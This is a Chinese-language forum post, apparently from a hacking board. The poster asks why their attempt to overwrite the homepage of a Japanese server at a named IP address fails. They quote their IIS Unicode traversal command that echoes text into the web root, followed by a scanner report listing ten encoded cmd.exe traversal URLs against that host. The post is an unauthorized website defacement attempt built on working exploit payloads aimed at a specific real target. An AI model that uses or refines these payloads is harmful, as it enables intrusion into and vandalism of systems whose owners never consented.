返回列表 发帖

日本unicode 漏洞机子如何改写其主页

可以成功建立文件夹 删除 更名
看来有写权限,但我想建个网页就不成功,是什么原因?是我命令错误,还是日本的服务器特别
msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd".exe?/c+echo+test+>d:\InetPub\wwwroot\hack.htm
听说要在cmd后加" 我也加了,可怎么就没写成呢?
无法显示网页

日本unicode 漏洞机子如何改写其主页

这个ip 219.166.16.58  日本的
x-scan扫出来,斑竹帮看看  为什么echo命令不成功?

型 端口/服务 安全漏洞及解决方案
提示 domain (53/tcp) Maybe the "domain" service running on this port.
NESSUS_ID : 10330

漏洞 http (80/tcp) IIS编码/解码漏洞: http://219.166.16.58/msadc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir  
漏洞 http (80/tcp) IIS编码/解码漏洞: http://219.166.16.58/msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir  
漏洞 http (80/tcp) IIS编码/解码漏洞: http://219.166.16.58/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir  
漏洞 http (80/tcp) IIS编码/解码漏洞: http://219.166.16.58/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir  
漏洞 http (80/tcp) IIS编码/解码漏洞: http://219.166.16.58/msadc/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir  
漏洞 http (80/tcp) IIS编码/解码漏洞: http://219.166.16.58/msadc/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir  
漏洞 http (80/tcp) IIS编码/解码漏洞: http://219.166.16.58/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir  
漏洞 http (80/tcp) IIS编码/解码漏洞: http://219.166.16.58/msadc/..%%35c..%%35c..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir  
漏洞 http (80/tcp) IIS编码/解码漏洞: http://219.166.16.58/msadc/..%u00255c..%u00255c..%u00255c..%u00255cwinnt/system32/cmd.exe?/c+dir  
漏洞 http (80/tcp) IIS编码/解码漏洞: http://219.166.16.58/msadc/..%u00255c..%u00255c..%u00255c..%u00255c..%u00255c..%u00255cwinnt/system32/cmd.exe?/c+dir

TOP

返回列表 回复 发帖